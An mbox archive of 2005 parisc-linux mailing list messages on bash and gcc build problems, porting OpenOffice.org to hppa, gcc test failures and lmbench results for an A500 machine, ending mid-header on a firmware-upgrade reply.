Message-ID: <200503310608.18938.mszick@morethan.org>
References: <16965.9081.148972.856329@gargle.gargle.HOWL>
	<200503261548.j2QFm7eL005849@hiauly1.hia.nrc.ca>
	<16971.44399.144991.110733@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623730 13609 80.91.229.3 (22 Nov 2014 02:35:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Mar 2005 12:08:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 31 Mar 2005 14:08:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD2177D67C;
	Thu, 31 Mar 2005 05:10:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17312-09; Thu, 31 Mar 2005 05:10:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E44B7D67E;
	Thu, 31 Mar 2005 05:10:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6893B7D670
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Mar 2005 05:10:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17467-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Mar 2005 05:10:03 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id DABCB7D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Mar 2005 05:10:02 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j2VC8LwV050111 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Mar 2005 04:08:21 -0800 (PST)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.193.224] (via account 17474)
	by mx-out.daemonmail.net with ESMTP id GL62rDf5
	authenticated by SMTP; Thu, 31 Mar 2005 04:08:19 -0800 (PST)
User-Agent: KMail/1.7.1
In-Reply-To: <16971.44399.144991.110733@gargle.gargle.HOWL>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aI05YhxNeSE5+76WZHQhaXN2IGRvb0D1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22542

On Thu March 31 2005 01:57, Matthias Klose wrote:
> 
> Using /bin/dash as the shell for the build seems to avoid these
> problems, I'll bash the Debian bash maintainer ... ;)
> 
Query - Which version of bash? 2.05b or 3.0?

Bash 3.0 has a lot of internal changes, this may
already be fixed.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] OpenOffice.org on hppa
Date: Thu, 31 Mar 2005 09:43:41 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <16971.43565.589192.122977@gargle.gargle.HOWL>
References: <20050330134454.GO2485@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623730 13610 80.91.229.3 (22 Nov 2014 02:35:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Mar 2005 07:44:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 31 Mar 2005 09:44:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 42A9B7D689;
	Thu, 31 Mar 2005 00:45:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16322-04; Thu, 31 Mar 2005 00:45:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C62E7D690;
	Thu, 31 Mar 2005 00:45:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 247527D687
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Mar 2005 00:45:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16320-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Mar 2005 00:45:27 -0700 (MST)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id 387F07D681
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Mar 2005 00:45:27 -0700 (MST)
Original-Received: from mailhost.cs.tu-berlin.de (postfix@mail.cs.tu-berlin.de
	[130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id JAA20009;
	Thu, 31 Mar 2005 09:43:44 +0200 (MEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id 23218F217;
	Thu, 31 Mar 2005 09:43:44 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (bueno [127.0.0.1]) (amavisd-new, port 10224) with ESMTP
	id 17902-25; Thu, 31 Mar 2005 09:43:42 +0200 (MEST) 11341
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Thu, 31 Mar 2005 09:43:41 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id j2V7hf61016618;
	Thu, 31 Mar 2005 09:43:41 +0200 (MEST)
In-Reply-To: <20050330134454.GO2485@tausq.org>
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ec85YnBieSE5+76WZHQhaXN2IGRvb8Dc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22543

Randolph Chung writes:
> I took a look at oo.o for hppa... it'll take quite a bit of work to get
> it building. Are there enough people interested to make this happen?
> 
> Here's what I've found so far; there's probably more.
> 
> - oo.o needs libneon23-dev to build, this package is not available in
>   Debian, but this is easily fixable. The package source explicitly
>   disables builds on hppa, so you can just work around this by
>   downloading the libneon23 source
> - oo.o source needs a lot of arch-specific stuff to work:
>   - build infrastructure
>     debian/scripts/vars.hppa
>     config_office/set_soenv.in needs to define a hppa section
>     solenv/inc/ needs a hppa makefile fragment
>     (probably more)
> - need to write bridges code (http://porting.openoffice.org/)
> 
> i got past the first two items, but the third (bridges) is a significant
> piece of work that will require some knowledge of asm and gcc c++ vtable
> layouts and PA calling conventions..
> 
> if a few other people are interested, i'd be willing to help out....
> but it looks like a lot of work :(

I assume you're talking about OO.o1, given the libneon23-dev build
dependency. Not sure, if you want to make this work for sarge, but in
any other case, please consider doing the work on OOo.2. Some people
are working on this, see #debian-oo and the debian-oo mailing list.

	Matthias
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 31 Mar 2005 20:36:22 +6700 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <200504010136.j311aMnO004736@hiauly1.hia.nrc.ca>
References: <16971.44399.144991.110733@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623731 13611 80.91.229.3 (22 Nov 2014 02:35:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:31 +0000 (UTC)
Cc: lamont@debian.org,
 parisc-linux@lists.parisc-linux.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Apr 2005 01:36:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 01 Apr 2005 03:36:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BBEE7D66F;
	Thu, 31 Mar 2005 18:38:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21815-10; Thu, 31 Mar 2005 18:38:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 450BF7D670;
	Thu, 31 Mar 2005 18:38:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F2777D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Mar 2005 18:38:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21815-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Mar 2005 18:38:13 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B3B0D7D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Mar 2005 18:38:13 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j311aNhF004737; Thu, 31 Mar 2005 20:36:23 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j311aMnO004736;
	Thu, 31 Mar 2005 20:36:22 -0500 (EST)
In-Reply-To: <16971.44399.144991.110733@gargle.gargle.HOWL> from "Matthias
	Klose" at Mar 31, 2005 09:57:35 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5MA+YlMgeSE5+76WZHQhaXN2IGRvbwC5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22544

> filed http://bugs.debian.org/301577 (although most of the discussion
> isn't in the report).

That should be http://bugs.debian.org/301557.  Daniel thought this
bug should be reassigned to expect.  On the other hand, dejagnu maybe
expecting too much of expect.

> with /bin/dash as shell and expect-tcl8.3 as expect version, the build
> and check succeeded. Test results at
> 
>   http://gcc.gnu.org/ml/gcc-testresults/2005-03/msg01933.html

FAIL: g++.old-deja/g++.warn/compare1.C  (test for warnings, line 11)
FAIL: g++.old-deja/g++.warn/compare1.C  (test for warnings, line 24)
FAIL: g++.old-deja/g++.warn/compare1.C (test for excess errors)
FAIL: gcc.c-torture/compile/20011119-2.c  -O1  (test for excess errors)

These are now fixed.

FAIL: thread/pthread7-rope.cc execution test

I don't see this in my testing.  On the other hand, the java failures
appear to be related to pthread support, so I think it likely that
we have one or more pthread bugs.  The java failures vary from one
run to another.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lmbench results for A500-6X SMP
Date: Fri, 1 Apr 2005 15:56:13 -0800
Lines: 90
Approved: news@gmane.org
Message-ID: <20050401235613.GA8921@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623731 13612 80.91.229.3 (22 Nov 2014 02:35:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Apr 2005 23:56:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 02 Apr 2005 01:56:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 23C727D668;
	Fri,  1 Apr 2005 16:58:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28876-02; Fri, 1 Apr 2005 16:58:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE30A7D669;
	Fri,  1 Apr 2005 16:58:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C0E3B7D666
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Apr 2005 16:58:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28223-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Apr 2005 16:58:00 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 224257D662
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Apr 2005 16:58:00 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id D0D481120A0; Fri,  1 Apr 2005 15:56:13 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4ro/Yt4ZeSE5+76WZHQhaXN2IGRvbwDZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22545

I don't have historical data for this machine, but the numbers look
pretty good compared to what I have seen before. Our mmap numbers
continue to suck though :(

This is running 2.6.12-rc1-pa7 SMP, on a 650MHz A500-6X

                 L M B E N C H  3 . 0   S U M M A R Y
                 ------------------------------------
		 (Alpha software, do not distribute)

Basic system parameters
------------------------------------------------------------------------------
Host                 OS Description              Mhz  tlb  cache  mem   scal
                                                     pages line   par   load
                                                           bytes  
--------- ------------- ----------------------- ---- ----- ----- ------ ----
riot      Linux 2.6.12-        hppa64-linux-gnu  650   239   128 1.9200    1

Processor, Processes - times in microseconds - smaller is better
------------------------------------------------------------------------------
Host                 OS  Mhz null null      open slct sig  sig  fork exec sh  
                             call  I/O stat clos TCP  inst hndl proc proc proc
--------- ------------- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
riot      Linux 2.6.12-  650 0.53 0.83 5.03 6.95 50.6 1.52 7.85 2476 9872 25.K

Basic integer operations - times in nanoseconds - smaller is better
-------------------------------------------------------------------
Host                 OS  intgr intgr  intgr  intgr  intgr  
                          bit   add    mul    div    mod   
--------- ------------- ------ ------ ------ ------ ------ 
riot      Linux 2.6.12- 1.5400 1.5500 9.1500  146.0  153.2

Basic float operations - times in nanoseconds - smaller is better
-----------------------------------------------------------------
Host                 OS  float  float  float  float
                         add    mul    div    bogo
--------- ------------- ------ ------ ------ ------ 
riot      Linux 2.6.12- 4.6500 4.6400   27.9   16.7

Basic double operations - times in nanoseconds - smaller is better
------------------------------------------------------------------
Host                 OS  double double double double
                         add    mul    div    bogo
--------- ------------- ------  ------ ------ ------ 
riot      Linux 2.6.12- 4.6300 4.6600   52.4   24.2

Context switching - times in microseconds - smaller is better
-------------------------------------------------------------------------
Host                 OS  2p/0K 2p/16K 2p/64K 8p/16K 8p/64K 16p/16K 16p/64K
                         ctxsw  ctxsw  ctxsw ctxsw  ctxsw   ctxsw   ctxsw
--------- ------------- ------ ------ ------ ------ ------ ------- -------
riot      Linux 2.6.12-   12.7   12.5   12.8   13.2   21.7    33.6    82.5

*Local* Communication latencies in microseconds - smaller is better
---------------------------------------------------------------------
Host                 OS 2p/0K  Pipe AF     UDP  RPC/   TCP  RPC/ TCP
                        ctxsw       UNIX         UDP         TCP conn
--------- ------------- ----- ----- ---- ----- ----- ----- ----- ----
riot      Linux 2.6.12-  12.7  32.8 36.5  50.8  65.7  55.8  84.7     

File & VM system latencies in microseconds - smaller is better
-------------------------------------------------------------------------------
Host                 OS   0K File      10K File     Mmap    Prot   Page   100fd
                        Create Delete Create Delete Latency Fault  Fault  selct
--------- ------------- ------ ------ ------ ------ ------- ----- ------- -----
riot      Linux 2.6.12-   46.2   49.1  189.3  101.0   10.2K 342.2    25.4  37.3

*Local* Communication bandwidths in MB/s - bigger is better
-----------------------------------------------------------------------------
Host                OS  Pipe AF    TCP  File   Mmap  Bcopy  Bcopy  Mem   Mem
                             UNIX      reread reread (libc) (hand) read write
--------- ------------- ---- ---- ---- ------ ------ ------ ------ ---- -----
riot      Linux 2.6.12- 227. 334. 231.  424.4  615.5  287.7  290.1 624. 516.3

Memory latencies in nanoseconds - smaller is better
    (WARNING - may not be correct, check graphs)
------------------------------------------------------------------------------
Host                 OS   Mhz   L1 $   L2 $    Main mem    Rand mem    Guesses
--------- -------------   ---   ----   ----    --------    --------    -------
riot      Linux 2.6.12-   650 4.6290 4.6270  192.6       367.7    No L1 cache?
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <matt@lackof.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Easy Firmware Upgrade for C180
Date: Sat, 02 Apr 2005 16:10:08 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <20050403001008.86F3E1AA5E7@cyrix.home.bogus>
References: <913ffb071295fac86a0aade164cf5a27@cox.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623731 13615 80.91.229.3 (22 Nov 2014 02:35:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Erik T. Crouch" <lennier@cox.net>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Apr 2005 00:10:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 03 Apr 2005 02:10:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 14CCB7D657;
	Sat,  2 Apr 2005 17:12:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03265-09; Sat, 2 Apr 2005 17:12:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 18D2C7D654;
	Sat,  2 Apr 2005 17:12:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9CFD67D651
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Apr 2005 17:12:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03042-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Apr 2005 17:12:01 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 2D8587D650
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Apr 2005 17:12:01 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2C78529802F;
	Sat,  2 Apr 2005 17:12:11 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02923-10; Sat, 2 Apr 2005 17:12:09 -0700 (MST)
Original-Received: from cyrix.home.bogus (c-24-18-165-146.hsd1.wa.comcast.net
	[24.18.165.146])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "taggart.lackof.org", Issuer "ca.lackof.org" (verified OK))
	by colo.lackof.org (Postfix) with ESMTP id 883D8298010;
	Sat,  2 Apr 2005 17:12:09 -0700 (MST)
Original-Received: by cyrix.home.bogus (Postfix, from userid 22223)
	id 86F3E1AA5E7; Sat,  2 Apr 2005 16:10:08 -0800 (PST)
Original-Received: from cyrix.home.bogus (localhost [127.0.0.1])
